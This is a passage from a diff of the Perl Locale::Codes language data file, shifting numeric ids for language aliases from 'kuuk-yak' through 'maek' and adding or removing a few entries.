-      q(3235),
+      q(3233),
       q(0),
       ],
    q(kuturmi) => [
-      q(3337),
+      q(3336),
       q(0),
       ],
    q(kuuk-yak) => [
-      q(6874),
+      q(6873),
       q(0),
       ],
    q(kuuku-ya'u) => [
@@ -39019,7 +38977,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kuvale) => [
-      q(5246),
+      q(5242),
       q(0),
       ],
    q(kuvi) => [
@@ -39027,23 +38985,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kuwaa) => [
-      q(1285),
+      q(1284),
       q(0),
       ],
    q(kuwaataay) => [
-      q(1923),
+      q(1922),
       q(0),
       ],
    q(kuy) => [
-      q(3250),
+      q(3248),
       q(0),
       ],
    q(kven finnish) => [
-      q(2349),
+      q(2348),
       q(0),
       ],
    q(kw'adza) => [
-      q(7131),
+      q(7129),
       q(0),
       ],
    q(kwa) => [
@@ -39051,7 +39009,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kwa') => [
-      q(1267),
+      q(1266),
       q(0),
       ],
    q(kwaami) => [
@@ -39067,7 +39025,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kwaja) => [
-      q(3255),
+      q(3253),
       q(0),
       ],
    q(kwakiutl) => [
@@ -39079,11 +39037,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kwalhioqua-tlatskanai) => [
-      q(5711),
+      q(5709),
       q(0),
       ],
    q(kwama) => [
-      q(3467),
+      q(3466),
       q(0),
       ],
    q(kwambi) => [
@@ -39099,11 +39057,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kwamtim one) => [
-      q(5228),
-      q(0),
-      ],
-   q(kwandu) => [
-      q(7313),
+      q(5224),
       q(0),
       ],
    q(kwang) => [
@@ -39119,11 +39073,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kwanja) => [
-      q(3491),
+      q(3490),
       q(0),
       ],
    q(kwanyama) => [
-      q(0239),
+      q(0238),
       q(1),
       ],
    q(kwara'ae) => [
@@ -39131,7 +39085,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kwasio) => [
-      q(4961),
+      q(4959),
       q(0),
       ],
    q(kwaya) => [
@@ -39139,15 +39093,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kwaza) => [
-      q(7533),
+      q(7530),
       q(0),
       ],
    q(kwegu) => [
-      q(7537),
+      q(7534),
       q(0),
       ],
    q(kwenyi) => [
-      q(3243),
+      q(3241),
       q(1),
       ],
    q(kwer) => [
@@ -39159,15 +39113,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kwerba mamberamo) => [
-      q(7542),
+      q(7539),
       q(0),
       ],
    q(kwere) => [
-      q(1921),
+      q(1920),
       q(0),
       ],
    q(kwerisa) => [
-      q(3401),
+      q(3400),
       q(0),
       ],
    q(kwese) => [
@@ -39179,7 +39133,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kwini) => [
-      q(2689),
+      q(2687),
       q(0),
       ],
    q(kwinsu) => [
@@ -39191,7 +39145,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kwoma) => [
-      q(3465),
+      q(3464),
       q(0),
       ],
    q(kwomtari) => [
@@ -39199,11 +39153,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kxoe) => [
-      q(7527),
+      q(7524),
       q(0),
       ],
    q(kyak) => [
-      q(1255),
+      q(1254),
       q(0),
       ],
    q(kyaka) => [
@@ -39211,7 +39165,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kyan-karyaw naga) => [
-      q(5042),
+      q(5038),
       q(0),
       ],
    q(kyanga) => [
@@ -39219,15 +39173,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kyenele) => [
-      q(3555),
+      q(3554),
       q(0),
       ],
    q(kyerung) => [
-      q(3329),
+      q(3328),
       q(0),
       ],
    q(kyrgyz) => [
-      q(0227),
+      q(0226),
       q(1),
       ],
    q(la'bi) => [
@@ -39235,7 +39189,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(laa laa bwamu) => [
-      q(1550),
+      q(1549),
       q(0),
       ],
    q(laadan) => [
@@ -39243,11 +39197,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(laal) => [
-      q(2462),
+      q(2461),
       q(0),
       ],
    q(laalaa) => [
-      q(1641),
+      q(1640),
       q(1),
       ],
    q(laari) => [
@@ -39263,15 +39217,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(labir) => [
-      q(3112),
+      q(3110),
       q(0),
       ],
    q(labo) => [
-      q(4625),
+      q(4624),
       q(0),
       ],
    q(labo phowa) => [
-      q(7713),
+      q(7710),
       q(0),
       ],
    q(labu) => [
@@ -39279,7 +39233,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(labuk-kinabatangan kadazan) => [
-      q(2151),
+      q(2150),
       q(0),
       ],
    q(lacandon) => [
@@ -39291,11 +39245,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lachiguiri zapotec) => [
-      q(7899),
+      q(7896),
       q(0),
       ],
    q(lachixio zapotec) => [
-      q(7910),
+      q(7907),
       q(0),
       ],
    q(ladakhi) => [
@@ -39307,7 +39261,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(ladino) => [
-      q(0243),
+      q(0242),
       q(0),
       ],
    q(ladji ladji) => [
@@ -39331,7 +39285,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lagwan) => [
-      q(3514),
+      q(3513),
       q(0),
       ],
    q(laha (indonesia)) => [
@@ -39347,7 +39301,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lahnda) => [
-      q(0244),
+      q(0243),
       q(0),
       ],
    q(lahta) => [
@@ -39375,7 +39329,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(laitu chin) => [
-      q(1772),
+      q(1771),
       q(0),
       ],
    q(laiyolo) => [
@@ -39427,11 +39381,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lakota dida) => [
-      q(2031),
+      q(2030),
       q(0),
       ],
    q(lala) => [
-      q(5060),
+      q(5056),
       q(0),
       ],
    q(lala-bisa) => [
@@ -39443,7 +39397,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lalana chinantec) => [
-      q(1799),
+      q(1798),
       q(0),
       ],
    q(lalia) => [
@@ -39467,7 +39421,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lamang) => [
-      q(2750),
+      q(2748),
       q(0),
       ],
    q(lamatuka) => [
@@ -39475,7 +39429,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lamba) => [
-      q(0245),
+      q(0244),
       q(0),
       ],
    q(lambadi) => [
@@ -39483,7 +39437,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lambayeque quechua) => [
-      q(5674),
+      q(5672),
       q(0),
       ],
    q(lambichhong) => [
@@ -39499,7 +39453,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lame) => [
-      q(1303),
+      q(1302),
       q(0),
       ],
    q(lamenu) => [
@@ -39535,7 +39489,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lampung nyo) => [
-      q(0570),
+      q(0569),
       q(0),
       ],
    q(lamu) => [
@@ -39551,7 +39505,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(land dayak languages) => [
-      q(0106),
+      q(0105),
       q(0),
       ],
    q(landoma) => [
@@ -39559,7 +39513,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lang'e) => [
-      q(7693),
+      q(7690),
       q(0),
       ],
    q(langam) => [
@@ -39575,7 +39529,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(langnian buyang) => [
-      q(7668),
+      q(7665),
       q(0),
       ],
    q(lango (sudan)) => [
@@ -39591,7 +39545,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(langue des signes de belgique francophone) => [
-      q(5977),
+      q(5976),
       q(0),
       ],
    q(lanima) => [
@@ -39603,15 +39557,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lao) => [
-      q(0246),
+      q(0245),
       q(0),
       ],
    q(lao naga) => [
-      q(4948),
+      q(4946),
       q(0),
       ],
    q(laomian) => [
-      q(4095),
+      q(4094),
       q(0),
       ],
    q(laopang) => [
@@ -39623,7 +39577,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lapaguia-guivini zapotec) => [
-      q(7940),
+      q(7937),
       q(0),
       ],
    q(laragia) => [
@@ -39643,7 +39597,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(large flowery miao) => [
-      q(2777),
+      q(2775),
       q(0),
       ],
    q(lari) => [
@@ -39651,7 +39605,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(larike-wakasihu) => [
-      q(0757),
+      q(0756),
       q(0),
       ],
    q(laro) => [
@@ -39691,19 +39645,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(latin) => [
-      q(0247),
+      q(0246),
       q(0),
       ],
    q(latu) => [
-      q(4068),
+      q(4067),
       q(0),
       ],
    q(latunde) => [
-      q(4065),
+      q(4064),
       q(0),
       ],
    q(latvian) => [
-      q(0248),
+      q(0247),
       q(0),
       ],
    q(latvian sign language) => [
@@ -39715,7 +39669,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(laua) => [
-      q(4072),
+      q(4071),
       q(0),
       ],
    q(lauan) => [
@@ -39727,7 +39681,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(laura) => [
-      q(4079),
+      q(4078),
       q(0),
       ],
    q(laurentian) => [
@@ -39735,7 +39689,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lautu chin) => [
-      q(1777),
+      q(1776),
       q(0),
       ],
    q(lavatbura-lamusong) => [
@@ -39743,7 +39697,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lave) => [
-      q(1423),
+      q(1422),
       q(0),
       ],
    q(laven) => [
@@ -39751,11 +39705,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lavrung) => [
-      q(3100),
+      q(3098),
       q(1),
       ],
    q(lavukaleve) => [
-      q(4087),
+      q(4086),
       q(0),
       ],
    q(lawangan) => [
@@ -39763,7 +39717,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lawu) => [
-      q(4098),
+      q(4097),
       q(0),
       ],
    q(lawunuia) => [
@@ -39771,15 +39725,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(layakha) => [
-      q(4100),
+      q(4099),
       q(0),
       ],
    q(laz) => [
-      q(4106),
+      q(4105),
       q(0),
       ],
    q(lealao chinantec) => [
-      q(1769),
+      q(1768),
       q(0),
       ],
    q(leco) => [
@@ -39807,7 +39761,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(legbo) => [
-      q(0654),
+      q(0653),
       q(0),
       ],
    q(legenyem) => [
@@ -39819,15 +39773,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lehalurup) => [
-      q(6925),
+      q(6924),
       q(0),
       ],
    q(lehar) => [
-      q(1641),
+      q(1640),
       q(0),
       ],
    q(leinong naga) => [
-      q(4105),
+      q(4104),
       q(0),
       ],
    q(leipon) => [
@@ -39875,7 +39829,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lemnian) => [
-      q(7383),
+      q(7380),
       q(0),
       ],
    q(lemolang) => [
@@ -39911,11 +39865,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lengua de senas catalana) => [
-      q(1862),
+      q(1861),
       q(1),
       ],
    q(lengua de senas del paraguay) => [
-      q(5665),
+      q(5663),
       q(1),
       ],
    q(lengua de senas panamenas) => [
@@ -39951,11 +39905,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lepontic) => [
-      q(7388),
+      q(7385),
       q(0),
       ],
    q(lere) => [
-      q(2571),
+      q(2569),
       q(0),
       ],
    q(lese) => [
@@ -39967,7 +39921,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(letemboi) => [
-      q(4973),
+      q(4971),
       q(0),
       ],
    q(leti (cameroon)) => [
@@ -39975,39 +39929,39 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(leti (indonesia)) => [
-      q(4064),
+      q(4063),
       q(0),
       ],
    q(letzeburgesch) => [
-      q(0255),
+      q(0254),
       q(1),
       ],
    q(levuka) => [
-      q(4089),
+      q(4088),
       q(0),
       ],
    q(lewo) => [
-      q(4099),
+      q(4098),
       q(0),
       ],
    q(lewo eleng) => [
-      q(4091),
+      q(4090),
       q(0),
       ],
    q(lewotobi) => [
-      q(4097),
+      q(4096),
       q(0),
       ],
    q(leyigha) => [
-      q(1000),
+      q(0999),
       q(0),
       ],
    q(lezghian) => [
-      q(0249),
+      q(0248),
       q(0),
       ],
    q(lhaovo) => [
-      q(4288),
+      q(4287),
       q(1),
       ],
    q(lhokpu) => [
@@ -40027,19 +39981,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(liana-seti) => [
-      q(6246),
+      q(6247),
       q(0),
       ],
    q(liangmai naga) => [
-      q(4906),
+      q(4904),
       q(0),
       ],
    q(lianshan zhuang) => [
-      q(7859),
+      q(7856),
       q(0),
       ],
    q(liberia kpelle) => [
-      q(7444),
+      q(7441),
       q(0),
       ],
    q(liberian english) => [
@@ -40059,11 +40013,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(liburnian) => [
-      q(7385),
+      q(7382),
       q(0),
       ],
    q(libyan arabic) => [
-      q(1002),
+      q(1001),
       q(0),
       ],
    q(libyan sign language) => [
@@ -40083,7 +40037,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(ligurian (ancient)) => [
-      q(7384),
+      q(7381),
       q(0),
       ],
    q(lihir) => [
@@ -40091,7 +40045,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lijili) => [
-      q(4250),
+      q(4249),
       q(0),
       ],
    q(lika) => [
@@ -40127,7 +40081,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(limassa) => [
-      q(1307),
+      q(1306),
       q(0),
       ],
    q(limbu) => [
@@ -40139,19 +40093,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(limburgan) => [
-      q(0250),
+      q(0249),
       q(0),
       ],
    q(limburger) => [
-      q(0250),
+      q(0249),
       q(1),
       ],
    q(limburgish) => [
-      q(0250),
+      q(0249),
       q(2),
       ],
    q(limi) => [
-      q(7667),
+      q(7664),
       q(0),
       ],
    q(limilngan) => [
@@ -40159,23 +40113,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(limos kalinga) => [
-      q(3461),
+      q(3460),
       q(0),
       ],
    q(lindu) => [
-      q(3448),
-      q(1),
+      q(3447),
+      q(0),
       ],
    q(linear a) => [
       q(3785),
       q(0),
       ],
    q(lingala) => [
-      q(0251),
+      q(0250),
       q(0),
       ],
    q(lingao) => [
-      q(5263),
+      q(5259),
       q(0),
       ],
    q(lingarak) => [
@@ -40183,7 +40137,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lingua franca) => [
-      q(5514),
+      q(5510),
       q(0),
       ],
    q(lingua franca nova) => [
@@ -40191,7 +40145,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lipan apache) => [
-      q(0845),
+      q(0844),
       q(0),
       ],
    q(lipo) => [
@@ -40219,7 +40173,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lishanid noshan) => [
-      q(0701),
+      q(0700),
       q(0),
       ],
    q(lisu) => [
@@ -40227,11 +40181,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(literary chinese) => [
-      q(4103),
+      q(4102),
       q(0),
       ],
    q(lithuanian) => [
-      q(0252),
+      q(0251),
       q(0),
       ],
    q(lithuanian sign language) => [
@@ -40239,15 +40193,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(litzlitz) => [
-      q(4104),
+      q(4103),
       q(0),
       ],
    q(liujiang zhuang) => [
-      q(7857),
+      q(7854),
       q(0),
       ],
    q(liuqian zhuang) => [
-      q(7860),
+      q(7857),
       q(0),
       ],
    q(liv) => [
@@ -40255,15 +40209,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(livvi) => [
-      q(5243),
+      q(5239),
       q(0),
       ],
    q(llengua de signes catalana) => [
-      q(1862),
+      q(1861),
       q(2),
       ],
    q(llengua de signes valenciana) => [
-      q(7035),
+      q(7034),
       q(1),
       ],
    q(lo-toga) => [
@@ -40299,7 +40253,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(logooli) => [
-      q(5732),
+      q(5730),
       q(0),
       ],
    q(logorik) => [
@@ -40307,7 +40261,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(logudorese sardinian) => [
-      q(6200),
+      q(6201),
       q(0),
       ],
    q(lohorung) => [
@@ -40315,15 +40269,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(loja highland quichua) => [
-      q(5696),
+      q(5694),
       q(0),
       ],
    q(lojban) => [
-      q(0205),
+      q(0204),
       q(0),
       ],
    q(lokaa) => [
-      q(7583),
+      q(7580),
       q(0),
       ],
    q(loke) => [
@@ -40359,7 +40313,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lolopo) => [
-      q(7598),
+      q(7595),
       q(0),
       ],
    q(loma (cote d'ivoire)) => [
@@ -40375,7 +40329,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lomavren) => [
-      q(5803),
+      q(5802),
       q(0),
       ],
    q(lombard) => [
@@ -40391,7 +40345,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lomwe) => [
-      q(4838),
+      q(4836),
       q(0),
       ],
    q(loncong) => [
@@ -40411,7 +40365,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(longto) => [
-      q(7190),
+      q(7188),
       q(0),
       ],
    q(longuda) => [
@@ -40423,7 +40377,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lonwolwol) => [
-      q(1841),
+      q(1840),
       q(0),
       ],
    q(lonzo) => [
@@ -40455,19 +40409,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(loreto-ucayali spanish) => [
-      q(6179),
+      q(6180),
       q(0),
       ],
    q(lote) => [
-      q(6950),
+      q(6949),
       q(0),
       ],
    q(lotha naga) => [
-      q(4901),
+      q(4899),
       q(0),
       ],
    q(lotud) => [
-      q(2160),
+      q(2159),
       q(0),
       ],
    q(lou) => [
@@ -40483,35 +40437,35 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(loup a) => [
-      q(7387),
+      q(7384),
       q(0),
       ],
    q(loup b) => [
-      q(7380),
+      q(7377),
       q(0),
       ],
    q(lovono) => [
-      q(7026),
+      q(7025),
       q(1),
       ],
    q(low german) => [
-      q(0307),
+      q(0306),
       q(0),
       ],
    q(low saxon) => [
-      q(0307),
+      q(0306),
       q(1),
       ],
    q(lower burdekin) => [
-      q(7280),
+      q(7278),
       q(0),
       ],
    q(lower chehalis) => [
-      q(1703),
+      q(1702),
       q(0),
       ],
    q(lower grand valley dani) => [
-      q(2097),
+      q(2096),
       q(0),
       ],
    q(lower silesian) => [
@@ -40519,11 +40473,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lower sorbian) => [
-      q(0114),
+      q(0113),
       q(0),
       ],
    q(lower southern aranda) => [
-      q(0990),
+      q(0989),
       q(0),
       ],
    q(lower ta'oih) => [
@@ -40535,7 +40489,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lowland oaxaca chontal) => [
-      q(1776),
+      q(1775),
       q(0),
       ],
    q(lowland tarahumara) => [
@@ -40543,19 +40497,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(loxicha zapotec) => [
-      q(7943),
+      q(7940),
       q(0),
       ],
    q(loyop) => [
-      q(6925),
+      q(6924),
       q(1),
       ],
    q(lozi) => [
-      q(0254),
+      q(0253),
       q(0),
       ],
    q(lu) => [
-      q(3330),
+      q(3329),
+      q(0),
+      ],
+   q(lua') => [
+      q(5577),
       q(0),
       ],
    q(luang) => [
@@ -40563,15 +40521,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(luba-katanga) => [
-      q(0257),
+      q(0256),
       q(0),
       ],
    q(luba-lulua) => [
-      q(0256),
+      q(0255),
       q(0),
       ],
    q(lubila) => [
-      q(3210),
+      q(3208),
       q(0),
       ],
    q(lubu) => [
@@ -40579,11 +40537,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lubuagan kalinga) => [
-      q(3478),
+      q(3477),
       q(0),
       ],
    q(lubukusu) => [
-      q(1576),
+      q(1575),
       q(1),
       ],
    q(luchazi) => [
@@ -40591,11 +40549,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lucumi) => [
-      q(4078),
+      q(4077),
       q(0),
       ],
    q(ludian) => [
-      q(4070),
+      q(4069),
       q(0),
       ],
    q(lufu) => [
@@ -40619,15 +40577,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(luidakho-luisukha-lutirichi) => [
-      q(2899),
+      q(2896),
       q(1),
       ],
    q(luimbi) => [
-      q(4076),
+      q(4075),
       q(0),
       ],
    q(luiseno) => [
-      q(0259),
+      q(0258),
       q(0),
       ],
    q(lukabaras) => [
@@ -40635,23 +40593,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(lukpa) => [
-      q(2117),
+      q(2116),
       q(0),
       ],
    q(lule) => [
-      q(6878),
+      q(6877),
       q(0),
       ],
    q(lule sami) => [
-      q(0391),
+      q(0390),
       q(0),
       ],
    q(lulogooli) => [
-      q(5732),
+      q(5730),
       q(1),
       ],
    q(lumba-yakkha) => [
-      q(4081),
+      q(4080),
       q(0),
       ],
    q(lumbee) => [
@@ -40659,7 +40617,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lumbu) => [
-      q(4077),
+      q(4076),
       q(0),
       ],
    q(lumun) => [
@@ -40671,15 +40629,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(luna) => [
-      q(4073),
+      q(4072),
       q(0),
       ],
    q(lunanakha) => [
-      q(4074),
+      q(4073),
       q(0),
       ],
    q(lunda) => [
-      q(0260),
+      q(0259),
       q(0),
       ],
    q(lundayeh) => [
@@ -40687,7 +40645,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lungalunga) => [
-      q(7009),
+      q(7008),
       q(0),
       ],
    q(lungga) => [
@@ -40695,19 +40653,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(luo (cameroon)) => [
-      q(4083),
+      q(4082),
       q(0),
       ],
    q(luo (kenya and tanzania)) => [
-      q(0261),
+      q(0260),
       q(0),
       ],
    q(luopohe hmong) => [
-      q(2785),
+      q(2783),
       q(0),
       ],
    q(luopohe miao) => [
-      q(2785),
+      q(2783),
       q(1),
       ],
    q(luri) => [
@@ -40719,63 +40677,63 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lushai) => [
-      q(0262),
+      q(0261),
       q(0),
       ],
    q(lushootseed) => [
-      q(4080),
+      q(4079),
       q(0),
       ],
    q(lusi) => [
-      q(3339),
+      q(3338),
       q(0),
       ],
    q(lusitanian) => [
-      q(7389),
+      q(7386),
       q(0),
       ],
    q(lutachoni) => [
-      q(4067),
+      q(4066),
       q(1),
       ],
    q(lutos) => [
-      q(4798),
+      q(4796),
       q(0),
       ],
    q(luvale) => [
-      q(4071),
+      q(4070),
       q(0),
       ],
    q(luwati) => [
-      q(4082),
+      q(4081),
       q(0),
       ],
    q(luwo) => [
-      q(4096),
+      q(4095),
       q(0),
       ],
    q(luxembourgish) => [
-      q(0255),
+      q(0254),
       q(0),
       ],
    q(luyana) => [
-      q(4102),
+      q(4101),
       q(0),
       ],
    q(luyia) => [
-      q(4084),
+      q(4083),
       q(0),
       ],
    q(lwalu) => [
-      q(4090),
+      q(4089),
       q(0),
       ],
    q(lycian) => [
-      q(7381),
+      q(7378),
       q(0),
       ],
    q(lydian) => [
-      q(7382),
+      q(7379),
       q(0),
       ],
    q(lyele) => [
@@ -40783,7 +40741,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(lyngngam) => [
-      q(4101),
+      q(4100),
       q(0),
       ],
    q(lyons sign language) => [
@@ -40791,23 +40749,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(ma (democratic republic of congo)) => [
-      q(4532),
+      q(4531),
       q(0),
       ],
    q(ma (papua new guinea)) => [
-      q(4324),
+      q(4323),
       q(0),
       ],
    q(ma manda) => [
-      q(6064),
+      q(6063),
       q(0),
       ],
    q(ma'anyan) => [
-      q(4289),
+      q(4288),
       q(0),
       ],
    q(ma'di) => [
-      q(4274),
+      q(4273),
       q(0),
       ],
    q(ma'ya) => [
@@ -40815,223 +40773,223 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(maa) => [
-      q(1781),
+      q(1780),
       q(0),
       ],
    q(maaka) => [
-      q(4214),
+      q(4213),
       q(0),
       ],
    q(maasina fulfulde) => [
-      q(2340),
+      q(2339),
       q(0),
       ],
    q(maay) => [
-      q(7682),
+      q(7679),
       q(0),
       ],
    q(maba (chad)) => [
-      q(4175),
+      q(4174),
       q(0),
       ],
    q(maba (indonesia)) => [
-      q(4474),
+      q(4473),
       q(0),
       ],
    q(mabaale) => [
-      q(4407),
+      q(4406),
       q(0),
       ],
    q(mabaan) => [
-      q(4242),
+      q(4241),
       q(0),
       ],
    q(mabaka valley kalinga) => [
-      q(3406),
+      q(3405),
       q(0),
       ],
    q(mabire) => [
-      q(4581),
+      q(4580),
       q(0),
       ],
    q(maca) => [
-      q(4145),
+      q(4144),
       q(0),
       ],
    q(macaguaje) => [
-      q(4156),
+      q(4155),
       q(0),
       ],
    q(macaguan) => [
-      q(4132),
+      q(4131),
       q(0),
       ],
    q(macanese) => [
-      q(4704),
+      q(4703),
       q(0),
       ],
    q(macedo-romanian) => [
-      q(0363),
+      q(0362),
       q(2),
       ],
    q(macedonian) => [
-      q(0263),
+      q(0262),
       q(0),
       ],
    q(machame) => [
-      q(3117),
+      q(3115),
       q(0),
       ],
    q(machiguenga) => [
-      q(4146),
+      q(4145),
       q(0),
       ],
    q(machinere) => [
-      q(4452),
+      q(4451),
       q(0),
       ],
    q(machinga) => [
-      q(4614),
+      q(4613),
       q(0),
       ],
    q(maco) => [
-      q(7198),
+      q(7196),
       q(0),
       ],
    q(macuna) => [
-      q(4685),
+      q(4684),
       q(0),
       ],
    q(macushi) => [
-      q(4122),
+      q(4121),
       q(0),
       ],
    q(mada (cameroon)) => [
-      q(4660),
+      q(4659),
       q(0),
       ],
    q(mada (nigeria)) => [
-      q(4171),
+      q(4170),
       q(0),
       ],
    q(madagascar sign language) => [
-      q(4689),
+      q(4688),
       q(0),
       ],
    q(madak) => [
-      q(4405),
+      q(4404),
       q(0),
       ],
    q(maden) => [
-      q(7414),
+      q(7411),
       q(0),
       ],
    q(madhi madhi) => [
-      q(2079),
+      q(2078),
       q(0),
       ],
    q(madi) => [
-      q(2614),
+      q(2612),
       q(0),
       ],
    q(madngele) => [
-      q(7872),
+      q(7869),
       q(0),
       ],
    q(madurese) => [
-      q(0264),
+      q(0263),
       q(0),
       ],
    q(mae) => [
-      q(4387),
+      q(4386),
       q(0),
       ],
    q(maek) => [
-      q(2784),
+      q(2782),
       q(0),
       ],
